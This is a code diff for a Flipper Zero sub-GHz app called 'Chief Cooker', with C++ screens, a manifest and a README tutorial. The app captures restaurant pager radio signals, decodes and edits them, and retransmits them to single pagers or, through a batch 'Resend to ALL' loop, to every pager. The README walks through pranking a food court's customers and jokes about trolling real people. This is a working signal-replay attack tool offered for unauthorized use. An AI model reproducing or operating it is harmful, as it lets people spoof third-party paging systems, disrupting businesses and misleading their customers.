void stationDatabasePressed(uint32_t) {
SubMenuUiView* savedMenuView = new SubMenuUiView("Select database");
savedMenuView->AddItem("Saved by you", HANDLER_1ARG(&MainMenuScreen::savedStationsPressed));
savedMenuView->AddItem("Autosaved", HANDLER_1ARG(&MainMenuScreen::autosavedStationsPressed));
UiManager::GetInstance()->PushView(savedMenuView);
}
void savedStationsPressed(uint32_t) {
UiManager::GetInstance()->ShowLoading();
UiManager::GetInstance()->PushView(
(new SelectCategoryScreen(false, User, HANDLER_2ARG(&MainMenuScreen::categorySelected)))->GetView()
);
}
void autosavedStationsPressed(uint32_t) {
UiManager::GetInstance()->ShowLoading();
UiManager::GetInstance()->PushView(
(new SelectCategoryScreen(false, Autosaved, HANDLER_2ARG(&MainMenuScreen::categorySelected)))->GetView()
);
}
void categorySelected(CategoryType categoryType, const char* category) {
UiManager::GetInstance()->ShowLoading();
UiManager::GetInstance()->PushView((new ScanStationsScreen(config, categoryType, category))->GetView());
}
void aboutPressed(uint32_t index) {
UNUSED(index);
Notification::Play(&NOTIFICATION_PAGER_RECEIVE);
menuView->SetItemLabel(index, "Developed by Denr01!");
}
void destroy() {
delete this;
}
};

View File

@@ -0,0 +1,160 @@
#pragma once
#include "lib/String.hpp"
#include "app/AppConfig.hpp"
#include "app/pager/data/StoredPagerData.hpp"
#include "app/pager/decoder/PagerDecoder.hpp"
#include "app/pager/protocol/PagerProtocol.hpp"
#include "lib/hardware/subghz/SubGhzModule.hpp"
#include "lib/ui/view/UiView.hpp"
#include "lib/ui/view/SubMenuUiView.hpp"
#include "app/screen/BatchTransmissionScreen.hpp"
#include "lib/FlipperDolphin.hpp"
#include "lib/ui/UiManager.hpp"
class PagerActionsScreen {
private:
AppConfig* config;
SubMenuUiView* submenu;
PagerDecoder* decoder;
PagerProtocol* protocol;
SubGhzModule* subghz;
PagerDataGetter getPager;
BatchTransmissionScreen* batchTransmissionScreen;
String headerStr;
String resendToAllStr;
String resendToCurrentStr;
String** actionsStrings;
uint32_t currentBatchFrequency;
uint32_t currentPager = 0;
bool transmittingBatch = false;
public:
PagerActionsScreen(
AppConfig* config,
PagerDataGetter pagerGetter,
PagerDecoder* decoder,
PagerProtocol* protocol,
SubGhzModule* subghz
) {
this->config = config;
this->getPager = pagerGetter;
this->decoder = decoder;
this->protocol = protocol;
this->subghz = subghz;
StoredPagerData* pager = getPager();
PagerAction currentAction = decoder->GetAction(pager->data);
uint8_t actionValue = decoder->GetActionValue(pager->data);
uint16_t stationNum = decoder->GetStation(pager->data);
uint16_t pagerNum = decoder->GetPager(pager->data);
submenu = new SubMenuUiView(headerStr.format("Station %d actions", stationNum));
submenu->SetOnDestroyHandler(HANDLER(&PagerActionsScreen::destroy));
submenu->SetOnReturnToViewHandler(HANDLER(&PagerActionsScreen::onReturn));
submenu->AddItem(
resendToAllStr.format("Resend %d (%s) to ALL", actionValue, PagerActions::GetDescription(currentAction)),
HANDLER_1ARG(&PagerActionsScreen::resendToAll)
);
if(currentAction == UNKNOWN) {
submenu->AddItem(
resendToCurrentStr.format("Resend only to pager %d", pagerNum), HANDLER_1ARG(&PagerActionsScreen::resendSingle)
);
}
actionsStrings = new String*[decoder->GetSupportedActionsCount()];
for(size_t actionIndex = 0, i = 0; actionIndex < PagerActionCount; actionIndex++) {
PagerAction action = static_cast<enum PagerAction>(actionIndex);
if(!decoder->IsSupported(action)) {
continue;
}
if(PagerActions::IsPagerActionSpecial(action)) {
actionsStrings[i] = new String("Trigger action %s", PagerActions::GetDescription(action));
} else {
actionsStrings[i] = new String("%s only pager %d", PagerActions::GetDescription(action), pagerNum);
}
submenu->AddItem(actionsStrings[i]->cstr(), [this, action](uint32_t) { sendAction(action); });
i++;
}
subghz->SetTransmitCompleteHandler(HANDLER(&PagerActionsScreen::txComplete));
}
private:
void resendToAll(uint32_t) {
currentPager = 0;
transmittingBatch = true;
currentBatchFrequency = FrequencyManager::GetInstance()->GetFrequency(getPager()->frequency);
batchTransmissionScreen = new BatchTransmissionScreen(config->MaxPagerForBatchOrDetection);
UiManager::GetInstance()->PushView(batchTransmissionScreen->GetView());
sendCurrentPager();
FlipperDolphin::Deed(DolphinDeedSubGhzSend);
}
void resendSingle(uint32_t) {
StoredPagerData* pager = getPager();
uint32_t frequency = FrequencyManager::GetInstance()->GetFrequency(pager->frequency);
subghz->Transmit(protocol->CreatePayload(pager->data, pager->te, config->SignalRepeats), frequency);
FlipperDolphin::Deed(DolphinDeedSubGhzSend);
}
void sendAction(PagerAction action) {
StoredPagerData* pager = getPager();
uint32_t frequency = FrequencyManager::GetInstance()->GetFrequency(pager->frequency);
subghz->Transmit(
protocol->CreatePayload(decoder->SetAction(pager->data, action), pager->te, config->SignalRepeats), frequency
);
FlipperDolphin::Deed(DolphinDeedSubGhzSend);
}
void sendCurrentPager() {
StoredPagerData* pager = getPager();
batchTransmissionScreen->SetProgress(currentPager, config->MaxPagerForBatchOrDetection);
subghz->Transmit(
protocol->CreatePayload(decoder->SetPager(pager->data, currentPager), pager->te, config->SignalRepeats),
currentBatchFrequency
);
}
void txComplete() {
if(transmittingBatch) {
if(++currentPager <= config->MaxPagerForBatchOrDetection) {
sendCurrentPager();
return;
} else {
transmittingBatch = false;
UiManager::GetInstance()->PopView(false);
}
}
subghz->DefaultAfterTransmissionHandler();
}
void onReturn() {
transmittingBatch = false;
}
void destroy() {
subghz->SetTransmitCompleteHandler(NULL);
for(size_t i = 0; i < decoder->GetSupportedActionsCount(); i++) {
delete actionsStrings[i];
}
delete[] actionsStrings;
delete this;
}
public:
UiView* GetView() {
return submenu;
}
};

View File

@@ -0,0 +1,282 @@
#pragma once
#include "SettingsScreen.hpp"
#include "lib/hardware/subghz/data/SubGhzReceivedDataStub.hpp"
#include "lib/ui/view/ColumnOrientedListUiView.hpp"
#include "EditPagerScreen.hpp"
#include "PagerActionsScreen.hpp"
#include "lib/hardware/subghz/SubGhzModule.hpp"
#include "app/AppConfig.hpp"
#include "app/AppNotifications.hpp"
#include "app/pager/PagerReceiver.hpp"
static int8_t stationScreenColumnOffsets[]{
3, // station name (if known)
3, // hex
49, // station
72, // pager
94, // action
128 - 8 // repeats / edit flag
};
static Font stationScreenColumnFonts[]{
FontSecondary, // station name (if known)
FontBatteryPercent, // hex
FontSecondary, // station
FontSecondary, // pager
FontBatteryPercent, // action
FontBatteryPercent, // repeats
};
static Align stationScreenColumnAlignments[]{
AlignLeft, // station name (if known)
AlignLeft, // hex
AlignCenter, // station
AlignCenter, // pager
AlignCenter, // action
AlignRight, // repeats
};
class ScanStationsScreen {
private:
AppConfig* config;
ColumnOrientedListUiView* menuView;
PagerReceiver* pagerReceiver;
SubGhzModule* subghz;
bool receiveMode = false;
bool updateUserCategory = true;
int scanForMoreButtonIndex = -1;
uint32_t fromFilePagersCount = 0;
public:
ScanStationsScreen(AppConfig* config) : ScanStationsScreen(config, true, NotSelected, NULL) {
}
ScanStationsScreen(AppConfig* config, CategoryType categoryType, const char* category) :
ScanStationsScreen(config, false, categoryType, category) {
}
ScanStationsScreen(AppConfig* config, bool receiveNew, CategoryType categoryType, const char* category) {
this->config = config;
menuView = new ColumnOrientedListUiView(
stationScreenColumnOffsets,
sizeof(stationScreenColumnOffsets),
HANDLER_3ARG(&ScanStationsScreen::getElementColumnName)
);
menuView->SetOnDestroyHandler(HANDLER(&ScanStationsScreen::destroy));
menuView->SetOnReturnToViewHandler([this]() { this->menuView->Refresh(); });
menuView->SetGoBackHandler(HANDLER(&ScanStationsScreen::goBack));
menuView->SetColumnFonts(stationScreenColumnFonts);
menuView->SetColumnAlignments(stationScreenColumnAlignments);
menuView->SetLeftButton("Conf", HANDLER_1ARG(&ScanStationsScreen::showConfig));
subghz = new SubGhzModule(config->Frequency);
subghz->SetReceiveHandler(HANDLER_1ARG(&ScanStationsScreen::receive));
if(receiveNew) {
subghz->SetReceiveAfterTransmission(true);
subghz->ReceiveAsync();
}
pagerReceiver = new PagerReceiver(config);
if(categoryType == User) {
pagerReceiver->SetUserCategory(category);
updateUserCategory = false;
if(category != NULL) {
menuView->SetRightButton("Delete category", HANDLER_1ARG(&ScanStationsScreen::deleteCategory));
}
} else {
pagerReceiver->ReloadKnownStations();
}
if(receiveNew) {
if(subghz->IsExternal()) {
menuView->SetNoElementCaption("Receiving via EXT...");
} else {
menuView->SetNoElementCaption("Receiving...");
}
} else {
menuView->SetNoElementCaption("No stations found!");
}
if(!receiveNew) {
pagerReceiver->LoadStationsFromDirectory(categoryType, category, HANDLER_1ARG(&ScanStationsScreen::pagerAdded));
if(categoryType == User && menuView->GetElementsCount() > 0) {
scanForMoreButtonIndex = menuView->GetElementsCount();
fromFilePagersCount = menuView->GetElementsCount();
menuView->AddElement();
}
}
receiveMode = receiveNew;
}
UiView* GetView() {
return menuView;
}
private:
void receive(SubGhzReceivedData* data) {
pagerAdded(pagerReceiver->Receive(data));
delete data;
}
void pagerAdded(ReceivedPagerData* pagerData) {
if(pagerData != NULL) {
if(pagerData->IsNew()) {
if(receiveMode) {
Notification::Play(&NOTIFICATION_PAGER_RECEIVE);
}
if(pagerData->GetIndex() == 0) { // add buttons after capturing the first transmission
menuView->SetCenterButton("Actions", HANDLER_1ARG(&ScanStationsScreen::showActions));
menuView->SetRightButton("Edit", HANDLER_1ARG(&ScanStationsScreen::editPagerMessage));
}
if(!receiveMode || scanForMoreButtonIndex == -1) {
menuView->AddElement();
} else {
scanForMoreButtonIndex = -1;
}
}
if(menuView->IsOnTop()) {
menuView->Refresh();
}
delete pagerData;
}
}
void getElementColumnName(int index, int column, String* str) {
StoredPagerData* pagerData = pagerReceiver->PagerGetter(index)();
PagerDecoder* decoder = pagerReceiver->decoders[pagerData->decoder];
String* name = pagerReceiver->GetName(pagerData);
if(index == scanForMoreButtonIndex) {
if(column == 0) {
if(!receiveMode) {
str->format("> Scan here for more");
} else {
str->format("Scanning...");
}
}
return;
}
switch(column) {
case 0: // station name
if(name != NULL) {
str->format("%s", name->cstr());
}
break;
case 1: // hex
if(name == NULL) {
str->format("%06X", pagerData->data);
}
break;
case 2: // station
if(name == NULL) {
str->format("%d", decoder->GetStation(pagerData->data));
}
break;
case 3: // pager
str->format("%d", decoder->GetPager(pagerData->data));
break;
case 4: // action
{
PagerAction action = decoder->GetAction(pagerData->data);
if(action == UNKNOWN) {
str->format("%d", decoder->GetActionValue(pagerData->data));
} else {
str->format("%.4s", PagerActions::GetDescription(action));
}
}; break;
case 5: // repeats or edit flag
if(pagerData->edited) {
str->format("**");
} else if(receiveMode) {
str->format("x%d", pagerData->repeats);
}
break;
default:
break;
}
}
void showConfig(uint32_t) {
SettingsScreen* screen = new SettingsScreen(config, pagerReceiver, subghz, updateUserCategory);
UiManager::GetInstance()->PushView(screen->GetView());
}
void editPagerMessage(uint32_t index) {
if((int)index == scanForMoreButtonIndex) {
return;
}
PagerDataGetter getPager = pagerReceiver->PagerGetter(index);
EditPagerScreen* screen = new EditPagerScreen(config, subghz, pagerReceiver, getPager, index < fromFilePagersCount);
UiManager::GetInstance()->PushView(screen->GetView());
}
void showActions(uint32_t index) {
if((int)index == scanForMoreButtonIndex) {
if(!receiveMode) {
subghz->SetReceiveAfterTransmission(true);
subghz->ReceiveAsync();
receiveMode = true;
}
return;
}
PagerDataGetter getPager = pagerReceiver->PagerGetter(index);
StoredPagerData* pagerData = getPager();
PagerDecoder* decoder = pagerReceiver->decoders[pagerData->decoder];
PagerProtocol* protocol = pagerReceiver->protocols[pagerData->protocol];
PagerActionsScreen* screen = new PagerActionsScreen(config, getPager, decoder, protocol, subghz);
UiManager::GetInstance()->PushView(screen->GetView());
}
bool goBack() {
if(receiveMode && menuView->GetElementsCount() > 0) {
DialogUiView* confirmGoBack = new DialogUiView("Really stop scan?", "You may loose captured signals");
confirmGoBack->AddLeftButton("No");
confirmGoBack->AddRightButton("Yes");
confirmGoBack->SetResultHandler(HANDLER_1ARG(&ScanStationsScreen::goBackConfirmationHandler));
UiManager::GetInstance()->PushView(confirmGoBack);
return false;
}
return true;
}
void deleteCategory(int) {
AppFileSysytem().DeleteCategory(pagerReceiver->GetCurrentUserCategory());
menuView->SetRightButton("Deleted", NULL);
}
void goBackConfirmationHandler(DialogExResult dialogResult) {
if(dialogResult == DialogExResultRight) {
UiManager::GetInstance()->PopView(false);
}
}
void destroy() {
delete subghz;
delete pagerReceiver;
delete this;
}
};

View File

@@ -0,0 +1,88 @@
#pragma once
#include "app/AppFileSystem.hpp"
#include "lib/ui/UiManager.hpp"
#include "lib/ui/view/SubMenuUiView.hpp"
#include "lib/ui/view/TextInputUiView.hpp"
#define MIN_CAT_NAME_LENGTH 2
#define MAX_CAT_NAME_LENGTH MAX_FILENAME_LENGTH
class SelectCategoryScreen {
private:
SubMenuUiView* menu;
CategoryType categoryType;
forward_list<char*> categories;
function<void(CategoryType, const char*)> categorySelectedHandler;
TextInputUiView* nameInput;
char* categoryAddedName;
public:
SelectCategoryScreen(
bool canCreateNew,
CategoryType categoryType,
function<void(CategoryType, const char*)> categorySelectedHandler
) {
this->categoryType = categoryType;
this->categorySelectedHandler = categorySelectedHandler;
menu = new SubMenuUiView("Select category");
menu->SetOnDestroyHandler(HANDLER(&SelectCategoryScreen::destory));
if(canCreateNew) {
menu->AddItem("+ Create NEW", HANDLER_1ARG(&SelectCategoryScreen::createNew));
}
if(categoryType == User) {
menu->AddItem("<Default/Uncategorized>", [categoryType, categorySelectedHandler](uint32_t) {
return categorySelectedHandler(categoryType, NULL);
});
}
AppFileSysytem().GetCategories(&categories, categoryType);
for(char* category : categories) {
addCategory(category);
}
}
UiView* GetView() {
return menu;
}
private:
void createNew(uint32_t) {
if(categoryAddedName != NULL) {
categorySelectedHandler(categoryType, categoryAddedName);
return;
}
if(nameInput == NULL) {
nameInput = new TextInputUiView("Enter category name", MIN_CAT_NAME_LENGTH, MAX_CAT_NAME_LENGTH);
nameInput->SetOnDestroyHandler([this]() { this->nameInput = NULL; });
nameInput->SetResultHandler(HANDLER_1ARG(&SelectCategoryScreen::addAndSelectCategory));
}
UiManager::GetInstance()->PushView(nameInput);
}
void addCategory(char* name) {
menu->AddItem(name, [this, name](uint32_t) { return this->categorySelectedHandler(this->categoryType, name); });
}
void addAndSelectCategory(char* name) {
categoryAddedName = name;
menu->SetItemLabel(0, name);
UiManager::GetInstance()->PopView(true);
}
void destory() {
while(!categories.empty()) {
delete[] categories.front();
categories.pop_front();
}
if(nameInput != NULL) {
delete nameInput;
}
delete this;
}
};

View File

@@ -0,0 +1,177 @@
#pragma once
#include "SelectCategoryScreen.hpp"
#include "app/AppConfig.hpp"
#include "app/pager/PagerReceiver.hpp"
#include "lib/String.hpp"
#include "lib/hardware/subghz/SubGhzModule.hpp"
#include "lib/ui/UiManager.hpp"
#include "lib/ui/view/VariableItemListUiView.hpp"
class SettingsScreen {
private:
AppConfig* config;
SubGhzModule* subghz;
PagerReceiver* receiver;
VariableItemListUiView* varItemList;
UiVariableItem* currentCategoryItem;
UiVariableItem* frequencyItem;
UiVariableItem* maxPagerItem;
UiVariableItem* signalRepeatItem;
UiVariableItem* ignoreSavedItem;
UiVariableItem* autosaveFoundItem;
UiVariableItem* debugModeItem;
String frequencyStr;
String maxPagerStr;
String signalRepeatStr;
bool updateUserCategory;
uint32_t categoryItemIndex;
public:
SettingsScreen(AppConfig* config, PagerReceiver* receiver, SubGhzModule* subghz, bool updateUserCategory) {
this->config = config;
this->receiver = receiver;
this->subghz = subghz;
this->updateUserCategory = updateUserCategory;
varItemList = new VariableItemListUiView();
varItemList->SetOnDestroyHandler(HANDLER(&SettingsScreen::destroy));
varItemList->SetEnterPressHandler(HANDLER_1ARG(&SettingsScreen::enterPressHandler));
categoryItemIndex = varItemList->AddItem(
currentCategoryItem = new UiVariableItem("Category", HANDLER_1ARG(&SettingsScreen::categoryChangedHandler))
);
varItemList->AddItem(
frequencyItem = new UiVariableItem(
"Scan frequency",
FrequencyManager::GetInstance()->GetFrequencyIndex(config->Frequency),
FrequencyManager::GetInstance()->GetFrequencyCount(),
[this](uint8_t val) {
uint32_t freq = this->config->Frequency = FrequencyManager::GetInstance()->GetFrequency(val);
this->subghz->SetReceiveFrequency(this->config->Frequency);
return frequencyStr.format("%lu.%02lu", freq / 1000000, (freq % 1000000) / 10000);
}
)
);
varItemList->AddItem(
maxPagerItem = new UiVariableItem(
"Max pager value",
config->MaxPagerForBatchOrDetection - 1,
UINT8_MAX,
[this](uint8_t val) {
this->config->MaxPagerForBatchOrDetection = val + 1;
return maxPagerStr.fromInt(this->config->MaxPagerForBatchOrDetection);
}
)
);
varItemList->AddItem(
signalRepeatItem = new UiVariableItem(
"Times to repeat signal",
config->SignalRepeats - 1,
UINT8_MAX,
[this](uint8_t val) {
this->config->SignalRepeats = val + 1;
return signalRepeatStr.fromInt(this->config->SignalRepeats);
}
)
);
varItemList->AddItem(
ignoreSavedItem = new UiVariableItem(
"Saved stations",
config->SavedStrategy,
SavedStationStrategyValuesCount,
[this](uint8_t val) {
this->config->SavedStrategy = static_cast<enum SavedStationStrategy>(val);
return savedStationsStrategy(this->config->SavedStrategy);
}
)
);
varItemList->AddItem(
autosaveFoundItem = new UiVariableItem(
"Autosave found signals",
config->AutosaveFoundSignals,
2,
[this](uint8_t val) {
this->config->AutosaveFoundSignals = val;
return boolOption(val);
}
)
);
}
UiView* GetView() {
return varItemList;
}
private:
void enterPressHandler(uint32_t index) {
if(index != categoryItemIndex) {
return;
}
UiManager::GetInstance()->PushView(
(new SelectCategoryScreen(false, User, HANDLER_2ARG(&SettingsScreen::categorySelected)))->GetView()
);
}
void categorySelected(CategoryType, const char* category) {
if(config->CurrentUserCategory != NULL) {
delete config->CurrentUserCategory;
}
config->CurrentUserCategory = category != NULL ? new String("%s", category) : NULL;
UiManager::GetInstance()->PopView(false);
currentCategoryItem->Refresh();
}
const char* categoryChangedHandler(uint8_t) {
const char* category = config->GetCurrentUserCategoryCstr();
if(category == NULL) {
category = "Default";
}
return category;
}
const char* boolOption(uint8_t value) {
return value ? "ON" : "OFF";
}
const char* savedStationsStrategy(SavedStationStrategy value) {
switch(value) {
case IGNORE:
return "Ignore";
case SHOW_NAME:
return "Show name";
case HIDE:
return "Hide";
default:
return NULL;
}
}
void destroy() {
config->Save();
if(updateUserCategory) {
receiver->SetUserCategory(config->CurrentUserCategory);
receiver->ReloadKnownStations();
}
delete currentCategoryItem;
delete frequencyItem;
delete maxPagerItem;
delete signalRepeatItem;
delete ignoreSavedItem;
delete autosaveFoundItem;
delete debugModeItem;
delete this;
}
};

View File

@@ -0,0 +1,17 @@
# For details & more options, see documentation/AppManifests.md in firmware repo
App(
appid="chief_cooker", # Must be unique
name="Chief Cooker", # Displayed in menus
apptype=FlipperAppType.EXTERNAL,
entry_point="chief_cooker_app",
stack_size=2 * 1024,
fap_category="Sub-GHz",
# Optional values
# fap_version="0.1",
fap_icon="chief_cooker.png", # 10x10 1-bit PNG
# fap_description="A simple app",
fap_author="Denr01",
fap_weburl="https://github.com/denr01/FZ-ChiefCooker",
fap_icon_assets="images", # Image assets to compile for this application
)

View File

@@ -0,0 +1,13 @@
/* generated by fbt from .png files in images folder */
#include <chief_cooker_icons.h>
#include "app/App.hpp"
extern "C" int32_t chief_cooker_app(void* p) {
UNUSED(p);
App app;
app.Run();
return 0;
}

Binary file not shown.

After

Width:  |  Height:  |  Size: 390 B

View File

@@ -0,0 +1,127 @@
# Usage instructions
## Installation
To install this app simply download the `.fap` file from [latest release](https://github.com/denr01/FZ-ChiefCooker/releases/latest).
Then just copy it to your flipper (to `ext/apps/Sub-GHz` folder).
On your flipper, open up Apps -> Sub-GHz and you should see it there. Just open it as a regular app.
## Tutorial
### Your first use
Imagine you are on a food court you want to become chief on.
First, open the app and select "Scan for station signals".
The app will start receiving signals and show you once it receives something
<img src="screenshots/main-scan.png" width="256"> <img src="screenshots/scan-empty.png" width="256"> <img src="screenshots/scan-capture1.png" width="256">
Okay, now you received something. Now, let's test if transmission decoded correctly and find the restaurant who sent the transmission!
To do this, click on center button (actions) and select the first one, "Resend to ALL":
<img src="screenshots/scan-capture1-actions.png" width="256"> <img src="screenshots/scan-capture1-resend.png" alt="Description" width="256">
Where are they all running? Is the dinner ready yet? Unfortunately it's not. Just their new chief is learning...
Let's assume that you somehow found out, that it was a restaurant called "Street Food" who sent the signal. Now let's save it's signal to your SD card.
Go back from actions and push the "Edit >" (right arrow) button. Then scroll down to "Save signal as...", give it a name and then create a new category for it. It's convenient to use restaurant name for signal name and mall (or food court/place name where restaurant are located) for the category name to make sure that signals from different places will not mess up.
<img src="screenshots/scan-capture1.png" width="256"> <img src="screenshots/scan-capture1-edit-save.png" width="256"> <img src="screenshots/scan-capture1-save-name.png" width="256">
<img src="screenshots/scan-capture1-categories.png" width="256"> <img src="screenshots/scan-capture1-category-name.png" width="256"> <img src="screenshots/scan-capture1-categories-with-new.png" width="256">
Congratulations! Your saved your first captured signal and now can use it anytime you want to call someone to the restaurant's food pickup.
But it would be great now to distinguish the signals from "Street Food" from the other ones. And you can do it!
Navigate to "< Config" (left button) and select the category to the newly created one. Then go back.
<img src="screenshots/scan-capture1.png" width="256"> <img src="screenshots/scan-capture1-config.png" width="256"> <img src="screenshots/scan-capture1-conf-select-cat.png" width="256">
<img src="screenshots/scan-capture1-conf-cat-selected.png" width="256"> <img src="screenshots/scan-capture1-with-name.png" width="256">
As you can see, now instead of hex value and station number there is a restaurant name you given to the signal.
And what's this? A new signal? Yes, but not completely new. Street Food just called pager with another number (7). But your flipper successfully recognized their signal because you already saved one to the current category and showed you it's name.
<img src="screenshots/scan-capture2.png" width="256">
### Your second use
Now imagine you came to the same food court next day and want to call somebody's pager at the Street Food restaurant (that your saved yesterday).
Navigate to "Saved stations" and then select the category of current place / mall / food court:
<img src="screenshots/main-saved.png" width="256"> <img src="screenshots/saved-by-you.png" width="256"> <img src="screenshots/scan-capture1-categories-with-new.png" width="256">
Here your will see your saved signal:
<img src="screenshots/saved-category.png" width="256">
Now your can do with it whatever you want exactly like when you captured it.
Let's assume now you need to call only single pager with number 9.
Go to "Edit >" menu, scroll down to "Pager" and change it value to 9. Now just press center button. Your flipper will blink purple LED - like when you were resending to all pagers, remember? This means that it sent the signal.
<img src="screenshots/pager-9.png" width="256">
Now imagine we want to receive more signals here. There are two ways to do it:
- Go to "Scan" menu like on your first usage
- Click on "Scan here for more".
The second way is better because you will have all you previously saved signals in quick access in cause you urgently need one of them. New signals will appear here once your flipper receive them.
<img src="screenshots/saved-category-scan-here.png" width="256"> <img src="screenshots/saved-category-scanning.png" width="256"> <img src="screenshots/saved-category-scanning-new.png" width="256">
Congratulations! You have successfully completed the tutorial! ~~Now go and troll someone real.~~
## App's screens explanation
### Scan stations screen
<img src="screenshots/scan-capture1.png" width="256">
The values here are:
- `CBC042` - signal hex code
- `815` - station number (in current encoding)
- `4` - pager number (in current encoding)
- `RING` - action (in current encoding)
- `x8` - number of signal repeats, will not show more than `x99`
_Note: if you change the signal's encoding in "Edit" menu, station number, pager and action here will also change._
### Edit station screen
There are several things you can edit in captured signal using "Edit >" menu.
First thing is **encoding**. App tries to detect encoding automatically when it receives signal. But in some cases you may need to specify it manually. Here you can change the encoding and see how the values (station number, pager number and action) are changing in real-time:
<img src="screenshots/edit-decode-1.png" width="256"> <img src="screenshots/edit-decode-2.png" width="256"> <img src="screenshots/edit-decode-3.png" width="256">
Also you may need to change pager or action value. You can do it here and see how the hex value changes in real time:
<img src="screenshots/edit-pager-1.png" width="256"> <img src="screenshots/edit-pager-2.png" width="256">
_Note: pager number is editable only if it's decoded value is less than 255 in current encoding_
**Also note: pressing the center button on anywhere on the edit screen (except for save as / delete options) will trigger signal transmission with current pager/action/hex value!**
### Config screen
<img src="screenshots/scan-capture1-config.png" width="256">
Here some description about config parameters:
- **Category** - the category to load saved station names from. Does not affect if you use option "Scan here for more" in saved stations screen.
- **Scan frequency** - the frequency to receive signals on. For EU/Russia default is 433.92 Mhz, but 315.00 Mhz and 467.75 Mhz may be also used in US or somewhere else.
- **Max pager value** - how many pagers should signal be sent to when using "Resend to ALL" action. Also affects automatic encoding detection feature: the algorithm will use the first encoding which will give a pager number less or equal than current setting value.
- **Times to repeat signal** - speaks for itself, don't recommend changing it as the default value (10) should work in most cases.
- **Saved stations** - what to do when receive a signal from known station (saved in current category). Possible values are:
1. **Ignore** - treat station as unknown, show signal hex and station number.
2. **Show name** (default) - show saved station name instead of hex value and station number
3. **Hide** - do not show signals from saved stations at all. Show only unknown signals
- **Autosave found signals** - any found signals will be saved to "Autosaved" folder in the subdirectory with current date. Useful in case app crashes or you accidentally close it without saving.

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.8 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.9 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.9 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.9 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.9 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.9 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.9 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.8 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.6 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.7 KiB

Some files were not shown because too many files have changed in this diff Show More